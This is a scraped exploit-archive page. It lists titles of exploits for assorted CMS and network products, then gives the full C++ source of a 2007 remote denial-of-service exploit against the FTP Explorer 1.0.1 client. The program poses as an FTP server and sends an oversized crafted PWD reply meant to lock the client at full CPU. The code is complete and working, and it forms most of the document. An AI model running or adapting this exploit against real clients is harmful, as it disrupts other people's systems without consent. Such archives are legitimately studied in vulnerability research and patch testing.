477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
91 lines
2.7 KiB
C++
Executable file
91 lines
2.7 KiB
C++
Executable file
/***********************************************************************************
|
|
* FTP Explorer 1.0.1 Build 047 Remote DoS (CPU consumption) *
|
|
* *
|
|
* FTP Explorer is prone to a DoS after receiving a long PWD response leading to *
|
|
* 100% CPU consumption. *
|
|
* Have Fun! *
|
|
* *
|
|
* Coded by Marsu <Marsupilamipowa@hotmail.fr> *
|
|
***********************************************************************************/
|
|
|
|
|
|
|
|
#include "winsock2.h"
|
|
#include "stdio.h"
|
|
#include "stdlib.h"
|
|
#include "windows.h"
|
|
#pragma comment(lib, "ws2_32.lib")
|
|
|
|
int main(int argc, char* argv[])
|
|
{
|
|
char recvbuff[1024];
|
|
char evilbuff[30000];
|
|
sockaddr_in sin;
|
|
int server,client;
|
|
WSADATA wsaData;
|
|
WSAStartup(MAKEWORD(1,1), &wsaData);
|
|
|
|
server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
|
|
sin.sin_family = PF_INET;
|
|
sin.sin_addr.s_addr = htonl(INADDR_ANY);
|
|
sin.sin_port = htons( 21 );
|
|
bind(server,(SOCKADDR*)&sin,sizeof(sin));
|
|
|
|
printf("[+] FTP Explorer Remote CPU consumption DoS\n");
|
|
printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
|
|
printf("[*] Listening on port 21 ...\n");
|
|
listen(server,5);
|
|
printf("[*] Waiting for client ...\n");
|
|
client=accept(server,NULL,NULL);
|
|
printf("[+] Client connected\n");
|
|
memcpy(evilbuff,"220 Hello there\r\n\0",18);
|
|
|
|
if (send(client,evilbuff,strlen(evilbuff),0)==-1)
|
|
{
|
|
printf("[-] Error in send!\n");
|
|
exit(-1);
|
|
}
|
|
|
|
//USER
|
|
recv(client,recvbuff,1024,0);
|
|
printf("%s", recvbuff);
|
|
memcpy(evilbuff,"331 \r\n\0",7);
|
|
send(client,evilbuff,strlen(evilbuff),0);
|
|
|
|
//PASS
|
|
recv(client,recvbuff,1024,0);
|
|
printf("%s", recvbuff);
|
|
memcpy(evilbuff,"230 \r\n\0",7);
|
|
send(client,evilbuff,strlen(evilbuff),0);
|
|
|
|
//SYST
|
|
memset(recvbuff,'\0',1024);
|
|
recv(client,recvbuff,1024,0);
|
|
printf("%s", recvbuff);
|
|
memcpy(evilbuff,"215 WINDOWS\r\n\0",14);
|
|
send(client,evilbuff,strlen(evilbuff),0);
|
|
|
|
//PWD
|
|
int i=5;
|
|
memset(recvbuff,'\0',1024);
|
|
recv(client,recvbuff,1024,0);
|
|
printf("%s", recvbuff);
|
|
while (i<25000) {
|
|
memset(evilbuff+i,'a',1);
|
|
i++;
|
|
memset(evilbuff+i,'/',1);
|
|
i++;
|
|
}
|
|
memcpy(evilbuff,"257 \"",5);
|
|
memcpy(evilbuff+25000,"\"\r\n\0",4);
|
|
send(client,evilbuff,strlen(evilbuff),0);
|
|
|
|
Sleep(100);
|
|
printf("[+] Must be 100%% CPU consuming\n");
|
|
closesocket(client);
|
|
closesocket(server);
|
|
return 0;
|
|
|
|
}
|
|
|
|
// milw0rm.com [2007-02-20]
|